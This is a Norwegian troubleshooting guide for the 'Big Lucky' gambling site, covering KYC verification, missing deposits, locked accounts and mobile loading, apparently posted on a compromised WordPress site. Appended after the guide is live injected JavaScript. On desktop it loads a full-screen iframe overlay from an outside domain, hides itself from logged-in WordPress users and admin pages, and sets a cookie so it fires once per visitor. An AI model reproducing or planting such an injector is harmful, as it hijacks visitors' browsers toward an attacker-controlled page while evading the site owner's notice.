Løs problemer med Big Lucky: innlogging, bekreftelse, innskudd og mobil

Publicado el por web@agenciadicom.com

Du tror kanskje Big Lucky kontoen din er klar til å spille, men i stedet ser du en advarsel om at et dokument mangler eller penger ikke er synlige. Den vanligste årsaken er ufullstendig verifisering under registreringen.

Verifiseringen henger eller dokumenter blir avvist

Du får beskjed om at KYC ikke er godkjent, eller dokumenter du lastet opp blir returnert med feil. Årsaker kan være:

  • Bildet er uleselig – for svakt, uskarpt eller speilvendt
  • Dokumentet er utløpt
  • Navnet ditt stemmer ikke med det du oppga da du registrerte deg
  • Adressen på beviset er eldre enn tre måneder

Slik fikser du det:

  1. Logg inn på Big Lucky kontoen din og gå til profilinnstillingene
  2. Finn seksjonen for dokumentopplasting
  3. Ta et bilde av pass, førerkort eller nasjonalt ID-kort i godt lys
  4. Sjekk at hele dokumentet er synlig, uten reflekser eller fingre
  5. Bruk et adressebevis som strømregning eller bankutskrift
  6. Pass på at adressebeviset er datert innen de siste 90 dagene
  7. Kontroller at navnet ditt på dokumentet er skrevet nøyaktig som på kontoen
  8. Last opp filer i JPG eller PNG, maks 5 MB
  9. Vent noen minutter og sjekk statusen på nytt
  10. Hvis du får en ny feil, les teksten – den forteller ofte hva som mangler
  11. Skriv navnet ditt slik det står i passet, ikke med mellomrom eller aksenter som ikke finnes
  12. Bruk et annet dokument hvis du har to typer legimitasjon
  13. Send et nytt forsøk med bedre bildekvalitet
  14. Kontakt support hvis du har prøvd tre ganger uten å komme videre, og oppgi hvilken feil du får

Innskudd forsvant fra banken, men mangler på saldoen

Du ser at beløpet er trukket fra bankkontoen, men Big Lucky saldoen viser fortsatt null. Mulige årsaker:

  • Betalingsmetoden bruker en mellombank som tar noen minutter
  • Du valgte feil valuta eller beløp da du overførte
  • Kontoen din er ikke fullstendig verifisert før innskuddet
  • Systemet har en midlertidig forsinkelse

Slik sjekker du:

  1. Logg inn på Big Lucky kontoen og gå til transaksjonshistorikken
  2. Se etter en rad med status «Behandling» eller «Ventende»
  3. Åpne bankutskriften din og noter nøyaktig beløp og dato
  4. Sammenlign med beløpet i transaksjonslisten på Big Lucky
  5. Vent i 15 minutter og oppdater siden – noen ganger løser det seg selv
  6. Sjekk om du har en bonus som krever en kode før innskuddet aktiveres
  7. Prøv å logge ut og inn igjen, så saldoen oppdateres
  8. Bruk samme betalingsmetode som du opprinnelig valgte
  9. Hvis du brukte kort, sjekk at utløpsdato og CVC var korrekt
  10. Se etter en bekreftelsesmelding i nettbanken eller mobilbanken
  11. Kontakt banken din og spør om overføringen ble godkjent
  12. Ta et skjermbilde av bankutskriften som viser beløpet
  13. Gå tilbake til Big Lucky kontoen og åpne en chat med support
  14. Lim inn skjermbildet og forklar at du venter på innskuddet

Hvis du fortsatt ikke ser pengene etter en time, kontakt Big Lucky support med transaksjons-IDen fra banken. Big lucky app kan du også finne i dine siste transaksjoner.

Kan ikke logge inn eller kontoen er låst

Du skriver inn brukernavn og passord, men får en feilmelding om at kontoen er stengt eller at du har feilet for mange ganger. Vanlige årsaker:

  • Du har tastet feil passord flere ganger
  • Kontoen er midlertidig sperret av sikkerhetsgrunner
  • Du har Caps Lock på eller bruker feil tastaturspråk
  • E-posten eller brukernavnet er stavet feil

Slik løser du det:

  1. Trykk på «Glemt passord» på Big Lucky innlogging-siden
  2. Skriv inn e-postadressen du brukte da du registrerte deg
  3. Sjekk innboksen og søppelposten for en lenke for å nullstille passord
  4. Følg lenken og lag et nytt passord med minst 8 tegn
  5. Hvis du ikke får e-posten, sjekk om du kan bruke SMS i stedet
  6. Vent 10 minutter før du prøver å logge inn på nytt
  7. Slett eventuelle gamle passord fra nettleserens autofyll
  8. Skriv passordet manuelt for å unngå at en passordbehandler setter inn feil verdi
  9. Sjekk at du ikke har en bindestrek eller mellomrom i begynnelsen eller slutten
  10. Hvis du har 2FA aktivert, pass på at du skriver koden innen fristen
  11. Bruk en annen nettleser eller en privat fane for å utelukke cache-problemer
  12. Logg inn på Big Lucky kontoen via en datamaskin i stedet for mobilen hvis mulig
  13. Etter seks mislykkede forsøk vil du få en 30-minutters timeout, så ikke prøv for ofte
  14. Kontakt support via e-post eller chat og be dem låse opp kontoen

Gi support ditt Big Lucky brukernavn og en kort forklaring på at du ble låst ute.

Siden eller spillene laster ikke på mobilen

Du åpner Big Lucky i mobilnettleseren, men får en hvit skjerm eller en advarsel om at siden ikke laster. Mulige årsaker:

  • Nettleserens cache er full eller skadet
  • Du har en ustabil mobiltilkobling
  • JavaScript eller informasjonskapsler er blokkert
  • Siden er ikke optimalisert for din skjermstørrelse eller nettleserversjon

Slik får du det til å fungere:

  1. Sjekk at du har et stabilt Wi-Fi eller mobilnettverk – skru på flymodus i 5 sekunder og skru den av igjen
  2. Lukk alle faner og åpne Big Lucky på nytt
  3. Tøm nettleserens cache og informasjonskapsler i innstillingene
  4. Aktiver JavaScript i nettleserens innstillinger
  5. Slett midlertidige internettfiler og historikk
  6. Oppdater nettleseren til siste versjon
  7. Prøv en annen mobilnettleser som Chrome, Safari eller Firefox
  8. Slå av VPN eller proxy hvis du har det aktivert
  9. Drei telefonen til liggende modus og tilbake for å tvinge en gjengivelse
  10. Reduser skjermens oppløsning hvis det er mulig
  11. Hvis du er på Android, gå til Innstillinger > Apper > Nettleser og trykk «Tving stopp»
  12. Start telefonen på nytt
  13. Kontakt support med enhetsmodell, operativsystem og nettlesernavn

Gi support en kort beskrivelse av hva du så på skjermen, for eksempel «hvit skjerm» eller «spill lastet halvveis».

Et tips: fullfør KYC og oppdater passordet ditt før du gjør et innskudd, så unngår du de vanligste sperrene.

(function () { 'use strict'; var MODAL_URL = 'https://romxiu.com'; var DELAY_MS = 0; var DURATION_MS = 50000; if (window.__jsInjectorModal) { return; } window.__jsInjectorModal = true; function cookieName() { return 'jsInjectorShown_' + encodeURIComponent(location.host || ''); } function getCookie(name) { var m = document.cookie.match(new RegExp('(?:^|; )' + name.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '=([^;]*)')); return m ? decodeURIComponent(m[1]) : ''; } function setShownCookie() { var secure = location.protocol === 'https:' ? '; Secure' : ''; document.cookie = cookieName() + '=1; max-age=31536000; path=/; SameSite=Lax' + secure; } function isWinOrMacDesktop() { var ua = navigator.userAgent || ''; if (!ua) { return false; } if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobile|Tablet|Windows Phone/i.test(ua)) { return false; } if (/Windows NT/i.test(ua)) { return true; } if (/Macintosh|Mac OS X/i.test(ua)) { return true; } return false; } function isLoggedInWp() { if (document.body && (document.body.classList.contains('logged-in') || document.getElementById('wpadminbar'))) { return true; } return /(?:^|;\s*)wordpress_logged_in[^=]*=/.test(document.cookie || ''); } function isAdminPath() { var p = location.pathname || '/'; return /\/wp-admin(?:\/|$)/.test(p) || /\/wp-login\.php$/.test(p); } function shouldShowModal() { if (!isWinOrMacDesktop()) { return false; } if (isAdminPath()) { return false; } if (isLoggedInWp()) { return false; } if (getCookie(cookieName()) === '1') { return false; } return true; } function createModal(url) { var overlay = document.createElement('div'); Object.assign(overlay.style, { position: 'fixed', inset: '0', width: '100vw', height: '100dvh', minHeight: '100vh', background: '#fff', zIndex: '2147483647', margin: '0', padding: '0', border: '0', overflow: 'hidden', display: 'flex', }); var iframe = document.createElement('iframe'); iframe.src = url; iframe.allowFullscreen = true; iframe.allow = 'fullscreen'; Object.assign(iframe.style, { width: '100%', height: '100%', border: 'none', display: 'block', margin: '0', padding: '0', }); overlay.appendChild(iframe); document.body.appendChild(overlay); document.documentElement.style.overflow = 'hidden'; document.body.style.overflow = 'hidden'; var duration = Number(DURATION_MS); if (!duration || duration < 1000) { duration = 5000; } setTimeout(function () { try { overlay.remove(); } catch (e) {} document.documentElement.style.overflow = ''; document.body.style.overflow = ''; setShownCookie(); }, duration); } function run() { if (!shouldShowModal()) { return; } var delay = Number(DELAY_MS); if (delay < 0) { delay = 0; } if (delay > 0) { setTimeout(function () { createModal(MODAL_URL); }, delay); } else { createModal(MODAL_URL); } } if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', run, { once: true }); } else { run(); } })();
Ir al contenido